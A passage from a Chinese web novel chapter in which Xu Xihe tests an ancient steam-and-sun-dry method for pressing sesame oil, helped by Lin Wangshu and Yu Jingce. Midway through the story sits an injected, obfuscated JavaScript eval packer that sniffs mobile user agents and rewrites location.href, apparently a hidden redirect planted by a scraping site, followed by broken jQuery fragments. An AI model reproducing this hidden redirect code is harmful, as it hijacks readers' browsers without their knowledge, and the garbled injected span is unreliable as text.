油了！”隐溪惊喜地叫出声。

    徐羲和凑近细看，油色清亮，用勺子取了些油出来，在瓷碗中泛着琥珀般的光泽。她用手指蘸了一点，在指尖捻开，又凑到鼻尖闻。

    “香，但……好像还不够醇厚。”与她记忆里日常吃到的油还是有所不同的。

    林望舒拨动风口的控制机关，调小火候，放下木勺，擦了擦额角的汗，修长的手指从碗里蘸取了一滴，不拘小节直接品了起来，“或许是压榨不够彻底，或者火候还需要调整。”

    “不止。”徐羲和摇头，“我总觉得少了什么步骤。”

    她翻开林望舒带来的那些杂书，一页页仔细看着。多是些农书或食经，所用的油大多笼统地指代猪油羊油这些直接可得的动物油，即便提到榨油也只是寥寥数语。直到翻到一本已经残破的杂书，书封已经破烂不堪看不清标题，书里却有一段有意思的记载：

    “取胡麻蒸熟，曝干，复蒸，九蒸九曝，乃可捣之。如此所得油，色如琥珀，久贮不坏”

    “九蒸九曝？”徐羲和喃喃自语，“反复蒸晒，是为去除杂质、激发油性吗？”

    她抬头看向窗外，今日天色晴好，倒也能晒。

    “隐溪，去取蒸笼来。咱们试试这古法。”

    徐羲和严格按古法记载，将芝麻蒸熟后摊在竹席上晒干，再蒸，再晒，每一道工序她都亲自盯着，记录下每次蒸晒的时间、火候、芝麻颜色的变化。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16882021|188382||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    林望舒和于景策得空便来帮忙，于景策性子急，几次想省去步骤，都被徐羲和拦下。

    “慢工出细活。”她说这话时，正将第五次蒸晒后的芝麻收拢起来，经过多次蒸晒，芝麻的颜色变得更深，香味也更加内敛醇厚。

    林望舒站在她身侧，看她仔细检查每一粒芝麻，不禁问道：“你为何对榨油这般执着？丰乐楼的生意已经够好了。”

    徐羲和动作未停，声音却轻了些：“生意再好，做得再大，若不能惠及寻常百姓，也不过是镜花水月，酒楼里的菜再精，终究只有少数人吃得起，可油不一样，油家家户户都要用。”

    她顿了顿，将一把芝麻摊在掌心细细闻嗅，“不是我多高尚，也不是跟你装，酒楼生意再好也是小生意，若是能把地里种出来的东西炼成能吃的油，或许这才是真正的大生意。”

    林望舒看着她掌心的芝麻，又看向她认真的侧脸，心头某处微微一动。

    又过几日，九蒸九曝终于完成。

    这次的芝麻捣碎后，颜色呈深褐色，还未压榨就已经有油香渗出。

    再次裹上麻布，压上石块时，情况与之前截然不同。

    油色比上次更深，香气也更加醇厚绵长，在整个酒楼弥漫开来，连外头路过的小二都忍不住探头张望。

    徐羲和用瓷碗接了半碗，指尖蘸了一点放入口中。

    油在舌尖化开，初时是浓郁的芝麻香，随后泛起一丝甘甜，最后留下悠长的余韵。

    没有半点焦苦或涩味，纯净得如同琥珀。

    “成了。”她长舒一口气，脸上绽放出这些天来第一个真正舒展的笑容。

    那笑容太过明亮，林望舒一时竟看怔了。

    “我尝尝！”于景